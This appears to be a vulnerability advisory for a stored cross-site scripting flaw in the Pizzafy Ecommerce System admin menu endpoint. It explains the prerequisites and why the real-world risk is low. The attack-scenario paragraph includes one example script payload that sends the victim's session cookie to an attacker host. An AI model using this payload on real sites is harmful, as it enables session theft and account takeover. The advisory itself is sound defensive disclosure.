Pizzafy Ecommerce System EUVD-2026-26139

Exploitation requires a high-privilege authenticated session (administrator-level) to the Pizzafy Ecommerce System admin panel at /admin/ajax.php?action=save_menu, as confirmed by PR:H in the CVSS 4.0 vector. In addition, successful XSS execution requires a second user (UI:P) to load the manipulated menu content in their browser - the injected payload does not execute at submission time. Exploitation is therefore bounded to: (1) an attacker who controls or has compromised an admin-level account, and (2) a subsequent user session that triggers rendering of the stored payload. Standard-privilege users cannot reach the vulnerable endpoint. The application must be running PHP and serving the admin panel over the network (AV:N), but no special server configuration or non-default feature is required beyond admin access itself.

Real-world risk is very low across all available signals. The CVSS 4.0 score of 1.9 - derived from a vector of AV:N/AC:L/AT:N/PR:H/UI:P - captures two critical limiting factors: an attacker must hold administrator-level credentials (PR:H), and a second user must interact with the injected content (UI:P). EPSS at 0.03% (9th percentile) independently confirms negligible exploitation probability. SSVC classifies exploitation as poc-only, not automatable, with partial technical impact, reinforcing low operational urgency. The publicly available POC (a researcher PDF on GitHub) documents the attack method, but does not represent weaponized or automated tooling. This CVE does not appear in CISA KEV, confirming no confirmed active exploitation. The primary realistic threat actor is an insider or a compromised admin account, not an external opportunistic attacker. The gap between public POC availability and extremely low EPSS is consistent with a researcher-submitted disclosure of low practical severity.

An attacker who has obtained administrator credentials - through phishing, credential stuffing, or insider access - logs into the admin panel and submits a crafted Name value containing a JavaScript payload (e.g., <script>document.location='https://attacker.com/?c='+document.cookie</script>) to the save_menu endpoint. When another administrator or privileged user subsequently loads the menu management page, the injected script executes in their browser, potentially harvesting session cookies or performing actions on their behalf. A public PDF POC detailing this exact injection path is available at the referenced GitHub repository.